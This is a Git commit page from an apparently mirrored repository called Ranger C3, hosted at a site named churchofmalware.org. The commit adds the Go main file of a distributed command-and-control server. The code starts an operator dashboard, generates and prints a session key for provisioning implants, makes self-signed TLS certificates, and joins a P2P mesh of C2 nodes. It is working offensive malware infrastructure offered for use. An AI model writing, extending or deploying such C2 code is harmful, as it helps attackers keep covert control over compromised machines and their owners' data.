mirror of
https://git.churchofmalware.org/ek0mssavi0r/Ranger-C3
synced 2026-09-24 08:34:47 +00:00
Upload files to "cmd/c2"
This commit is contained in:
+321
@@ -0,0 +1,321 @@
|
|||||||
|
// Ranger C3 - Distributed C2 Server with P2P Mesh
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
//
|
||||||
|
// go run ./cmd/c2 --listen :4443 --db data/c2.db --password "changeme" --key <session-key-hex>
|
||||||
|
// go run ./cmd/c2 --listen :4443 --mesh :9000 --bootstrap "10.0.0.2:9000"
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/ed25519"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/tls"
|
||||||
|
"crypto/x509"
|
||||||
|
"crypto/x509/pkix"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/pem"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/big"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/api"
|
||||||
|
"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/mesh"
|
||||||
|
"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/protocol"
|
||||||
|
"git.churchofmalware.org/ek0mssavi0r/Ranger-C3/internal/store"
|
||||||
|
)
|
||||||
|
|
||||||
|
// truncate limits s to n characters (no-op when shorter).
|
||||||
|
func truncate(s string, n int) string {
|
||||||
|
if len(s) > n {
|
||||||
|
return s[:n]
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
listen := flag.String("listen", ":4443", "C2 listen address")
|
||||||
|
meshListen := flag.String("mesh", "", "Mesh P2P listen address (empty = no mesh)")
|
||||||
|
bootstrap := flag.String("bootstrap", "", "Comma-separated bootstrap mesh peers")
|
||||||
|
dbPath := flag.String("db", "data/c2.db", "Database path")
|
||||||
|
password := flag.String("password", "", "Operator dashboard password (plaintext or bcrypt hash)")
|
||||||
|
keyHex := flag.String("key", "", "Session key hex (32 bytes). Omit to generate and print one")
|
||||||
|
tlsCert := flag.String("cert", "", "TLS certificate file")
|
||||||
|
tlsKey := flag.String("tls-key", "", "TLS key file")
|
||||||
|
generateCerts := flag.Bool("gen-certs", false, "Generate or reuse self-signed TLS certs")
|
||||||
|
genCertsOnly := flag.Bool("gen-certs-only", false, "Generate or reuse self-signed certs and exit")
|
||||||
|
forceCerts := flag.Bool("force-certs", false, "Regenerate self-signed certs even if they exist")
|
||||||
|
certSans := flag.String("cert-sans", "", "Extra comma-separated DNS names / IPs for generated cert SANs")
|
||||||
|
c2ID := flag.String("id", "", "C2 node ID (auto if empty)")
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
// Generate or use C2 ID
|
||||||
|
nodeID := *c2ID
|
||||||
|
if nodeID == "" {
|
||||||
|
b := make([]byte, 16)
|
||||||
|
rand.Read(b)
|
||||||
|
nodeID = fmt.Sprintf("c2-%x", b)[:20]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure data directory
|
||||||
|
os.MkdirAll(filepath.Dir(*dbPath), 0700)
|
||||||
|
|
||||||
|
// Generate or reuse self-signed certs if requested
|
||||||
|
if *generateCerts || *genCertsOnly {
|
||||||
|
certFile, keyFile, generated, err := ensureSelfSignedCert(nodeID, *certSans, *forceCerts)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("cert generation: %v", err)
|
||||||
|
}
|
||||||
|
tlsCert = &certFile
|
||||||
|
tlsKey = &keyFile
|
||||||
|
if generated {
|
||||||
|
log.Printf("[c2] generated self-signed cert: %s / %s", certFile, keyFile)
|
||||||
|
} else {
|
||||||
|
log.Printf("[c2] reusing existing certs: %s / %s (use --force-certs to regenerate)", certFile, keyFile)
|
||||||
|
}
|
||||||
|
if *genCertsOnly {
|
||||||
|
fmt.Printf("certs ready: %s / %s\n", certFile, keyFile)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open database
|
||||||
|
st, err := store.New(*dbPath)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("db: %v", err)
|
||||||
|
}
|
||||||
|
defer st.Close()
|
||||||
|
|
||||||
|
// Session key for implant comms. When not provided, generate one and
|
||||||
|
// print it so implants can be provisioned with the same key.
|
||||||
|
var sessionKey []byte
|
||||||
|
if *keyHex != "" {
|
||||||
|
var err error
|
||||||
|
sessionKey, err = hex.DecodeString(*keyHex)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("bad -key hex: %v", err)
|
||||||
|
}
|
||||||
|
if len(sessionKey) != 32 {
|
||||||
|
log.Fatalf("-key must decode to 32 bytes, got %d", len(sessionKey))
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
sessionKey = make([]byte, 32)
|
||||||
|
if _, err := rand.Read(sessionKey); err != nil {
|
||||||
|
log.Fatalf("keygen: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("[c2] generated session key (provision implants with -key): %x", sessionKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build API server config
|
||||||
|
apiCfg := api.Config{
|
||||||
|
ListenAddr: *listen,
|
||||||
|
C2ID: nodeID,
|
||||||
|
SessionKey: sessionKey,
|
||||||
|
TLSEnabled: *tlsCert != "" && *tlsKey != "",
|
||||||
|
TLSCertFile: *tlsCert,
|
||||||
|
TLSKeyFile: *tlsKey,
|
||||||
|
Store: st,
|
||||||
|
DashboardPW: *password,
|
||||||
|
}
|
||||||
|
|
||||||
|
srv, err := api.New(apiCfg)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("api: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start mesh networking if configured
|
||||||
|
if *meshListen != "" {
|
||||||
|
meshCert, err := generateMeshCert(nodeID)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("mesh cert: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var bootstrapPeers []string
|
||||||
|
if *bootstrap != "" {
|
||||||
|
bootstrapPeers = strings.Split(*bootstrap, ",")
|
||||||
|
}
|
||||||
|
|
||||||
|
meshCfg := mesh.Config{
|
||||||
|
NodeID: nodeID,
|
||||||
|
ListenAddr: *meshListen,
|
||||||
|
Bootstrap: bootstrapPeers,
|
||||||
|
TLSCert: *meshCert,
|
||||||
|
OnHeartbeat: func(hb *protocol.MeshHeartbeat) {
|
||||||
|
log.Printf("[mesh] heartbeat from %s", truncate(hb.NodeID, 8))
|
||||||
|
},
|
||||||
|
OnPeerJoin: func(n *protocol.MeshNode) {
|
||||||
|
log.Printf("[mesh] peer joined: %s @ %s", truncate(n.ID, 8), n.Addr)
|
||||||
|
st.UpsertMeshNode(n)
|
||||||
|
},
|
||||||
|
OnPeerLeave: func(id string) {
|
||||||
|
log.Printf("[mesh] peer left: %s", truncate(id, 8))
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
meshNode := mesh.NewNode(meshCfg)
|
||||||
|
if err := meshNode.Start(); err != nil {
|
||||||
|
log.Fatalf("mesh: %v", err)
|
||||||
|
}
|
||||||
|
defer meshNode.Stop()
|
||||||
|
|
||||||
|
log.Printf("[c2] mesh node active on %s", *meshListen)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Print banner
|
||||||
|
fmt.Println("=" + strings.Repeat("=", 59))
|
||||||
|
fmt.Println(" RANGER C3 - Distributed Mesh C2 Framework")
|
||||||
|
fmt.Println(" Node:", truncate(nodeID, 12)+"...")
|
||||||
|
fmt.Println(" Listen:", *listen)
|
||||||
|
fmt.Println(" TLS:", *tlsCert != "")
|
||||||
|
fmt.Println(" Mesh:", *meshListen)
|
||||||
|
fmt.Println(" DB:", *dbPath)
|
||||||
|
fmt.Println(" SessionKey:", hex.EncodeToString(sessionKey[:8])+"...")
|
||||||
|
fmt.Println("=" + strings.Repeat("=", 59))
|
||||||
|
|
||||||
|
// Start the server
|
||||||
|
if err := srv.Start(); err != nil {
|
||||||
|
log.Fatalf("server: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ensureSelfSignedCert reuses existing certs unless missing or force is set.
|
||||||
|
func ensureSelfSignedCert(nodeID, extraSans string, force bool) (certFile, keyFile string, generated bool, err error) {
|
||||||
|
certFile = filepath.Join("certs", "c2-cert.pem")
|
||||||
|
keyFile = filepath.Join("certs", "c2-key.pem")
|
||||||
|
if !force {
|
||||||
|
if _, e1 := os.Stat(certFile); e1 == nil {
|
||||||
|
if _, e2 := os.Stat(keyFile); e2 == nil {
|
||||||
|
return certFile, keyFile, false, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cf, kf, err := generateSelfSignedCert(nodeID, extraSans)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", false, err
|
||||||
|
}
|
||||||
|
return cf, kf, true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func generateSelfSignedCert(nodeID, extraSans string) (certFile, keyFile string, err error) {
|
||||||
|
_, priv, err := ed25519.GenerateKey(rand.Reader)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
dnsNames := []string{"localhost"}
|
||||||
|
ipAddrs := []net.IP{net.ParseIP("127.0.0.1"), net.ParseIP("::1")}
|
||||||
|
seenIP := map[string]bool{"127.0.0.1": true, "::1": true}
|
||||||
|
|
||||||
|
if hn, herr := os.Hostname(); herr == nil && hn != "" {
|
||||||
|
dnsNames = append(dnsNames, hn)
|
||||||
|
}
|
||||||
|
|
||||||
|
if ifaces, ierr := net.Interfaces(); ierr == nil {
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
addrs, aerr := iface.Addrs()
|
||||||
|
if aerr != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, addr := range addrs {
|
||||||
|
ipn, ok := addr.(*net.IPNet)
|
||||||
|
if !ok || ipn.IP.IsLoopback() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !seenIP[ipn.IP.String()] {
|
||||||
|
seenIP[ipn.IP.String()] = true
|
||||||
|
ipAddrs = append(ipAddrs, ipn.IP)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, s := range strings.Split(extraSans, ",") {
|
||||||
|
s = strings.TrimSpace(s)
|
||||||
|
if s == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if ip := net.ParseIP(s); ip != nil {
|
||||||
|
if !seenIP[ip.String()] {
|
||||||
|
seenIP[ip.String()] = true
|
||||||
|
ipAddrs = append(ipAddrs, ip)
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
dnsNames = append(dnsNames, s)
|
||||||
|
}
|
||||||
|
|
||||||
|
template := &x509.Certificate{
|
||||||
|
SerialNumber: big.NewInt(time.Now().UnixNano()),
|
||||||
|
Subject: pkix.Name{
|
||||||
|
CommonName: nodeID,
|
||||||
|
Organization: []string{"Ranger C3"},
|
||||||
|
},
|
||||||
|
DNSNames: dnsNames,
|
||||||
|
IPAddresses: ipAddrs,
|
||||||
|
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||||
|
NotAfter: time.Now().Add(365 * 24 * time.Hour),
|
||||||
|
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
|
||||||
|
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||||
|
BasicConstraintsValid: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
certDER, err := x509.CreateCertificate(rand.Reader, template, template, priv.Public(), priv)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
certDir := "certs"
|
||||||
|
os.MkdirAll(certDir, 0700)
|
||||||
|
|
||||||
|
certFile = filepath.Join(certDir, "c2-cert.pem")
|
||||||
|
keyFile = filepath.Join(certDir, "c2-key.pem")
|
||||||
|
|
||||||
|
certOut, _ := os.Create(certFile)
|
||||||
|
pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: certDER})
|
||||||
|
certOut.Close()
|
||||||
|
|
||||||
|
keyBytes, _ := x509.MarshalPKCS8PrivateKey(priv)
|
||||||
|
keyOut, _ := os.Create(keyFile)
|
||||||
|
pem.Encode(keyOut, &pem.Block{Type: "PRIVATE KEY", Bytes: keyBytes})
|
||||||
|
keyOut.Close()
|
||||||
|
|
||||||
|
return certFile, keyFile, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func generateMeshCert(nodeID string) (*tls.Certificate, error) {
|
||||||
|
pub, priv, err := ed25519.GenerateKey(rand.Reader)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
template := &x509.Certificate{
|
||||||
|
SerialNumber: big.NewInt(time.Now().UnixNano()),
|
||||||
|
Subject: pkix.Name{
|
||||||
|
CommonName: nodeID,
|
||||||
|
Organization: []string{"Ranger Mesh"},
|
||||||
|
},
|
||||||
|
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||||
|
NotAfter: time.Now().Add(365 * 24 * time.Hour),
|
||||||
|
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||||
|
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
|
||||||
|
BasicConstraintsValid: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
certDER, err := x509.CreateCertificate(rand.Reader, template, template, pub, priv)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
tlsCert := &tls.Certificate{
|
||||||
|
Certificate: [][]byte{certDER},
|
||||||
|
PrivateKey: priv,
|
||||||
|
Leaf: template,
|
||||||
|
}
|
||||||
|
|
||||||
|
return tlsCert, nil
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user